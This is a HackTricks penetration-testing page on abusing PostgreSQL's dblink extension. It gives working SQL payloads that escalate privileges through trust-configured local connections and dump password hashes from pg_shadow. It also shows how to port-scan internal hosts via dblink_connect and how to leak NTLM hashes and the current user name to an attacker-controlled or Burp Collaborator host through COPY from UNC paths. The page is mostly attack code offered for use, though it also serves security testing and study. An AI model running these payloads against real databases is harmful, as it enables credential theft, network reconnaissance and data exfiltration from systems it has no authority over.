hacktricks/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>


**Find [more information about these attacks in the original paper](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.

Since **PostgreSQL 9.1**, installation of additional modules is simple. [Registered extensions like `dblink`](https://www.postgresql.org/docs/current/contrib.html) can be installed with [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):

```sql
CREATE EXTENSION dblink;
```

Once you have dblink loaded you could be able to perform some interesting tricks:

## Privilege Escalation

The file `pg_hba.conf` could be bad configured **allowing connections** from **localhost as any user** without needing to know the password. This file could be typically found in `/etc/postgresql/12/main/pg_hba.conf` and a bad configuration looks like:

```
local    all    all    trust
```

_Note that this configuration is commonly used to modify the password of a db user when the admin forget it, so sometimes you may find it._\
_Note also that the file pg\_hba.conf is readable only by postgres user and group and writable only by postgres user._

This case is **useful if** you **already** have a **shell** inside the victim as it will allow you to connect to postgresql database.

Another possible misconfiguration consist on something like this:

```
host    all     all     127.0.0.1/32    trust
```

As it will allow everybody from the localhost to connect to the database as any user.\
In this case and if the **`dblink`** function is **working**, you could **escalate privileges** by connecting to the database through an already established connection and access data shouldn't be able to access:

```sql
SELECT * FROM dblink('host=127.0.0.1
                          user=postgres
                          dbname=postgres',
                         'SELECT datname FROM pg_database')
                      RETURNS (result TEXT);

SELECT * FROM dblink('host=127.0.0.1
                          user=postgres
                          dbname=postgres',
                         'select usename, passwd from pg_shadow')
                      RETURNS (result1 TEXT, result2 TEXT);
```

## Port Scanning

Abusing `dblink_connect` you could also **search open ports**. If that **function doesn't work you should try to use `dblink_connect_u()` as the documentation says that  `dblink_connect_u()` is identical to `dblink_connect()`, except that it will allow non-superusers to connect using any authentication method_.

```sql
SELECT * FROM dblink_connect('host=216.58.212.238
                                  port=443
                                  user=name
                                  password=secret
                                  dbname=abc
                                  connect_timeout=10');
//Different response
// Port closed
RROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
	Is the server running on host "127.0.0.1" and accepting
	TCP/IP connections on port 4444?

// Port Filtered/Timeout
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTP server
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTPS server
ERROR:  could not establish connection
DETAIL:  received invalid response to SSL negotiation:
```

Note that **before** being able to use `dblink_connect` or `dblink_connect_u` you may need to execute:

```
CREATE extension dblink;
```

## UNC path - NTLM hash disclosure

```sql
-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
```

```sql
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$ 
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN 
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
```


<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>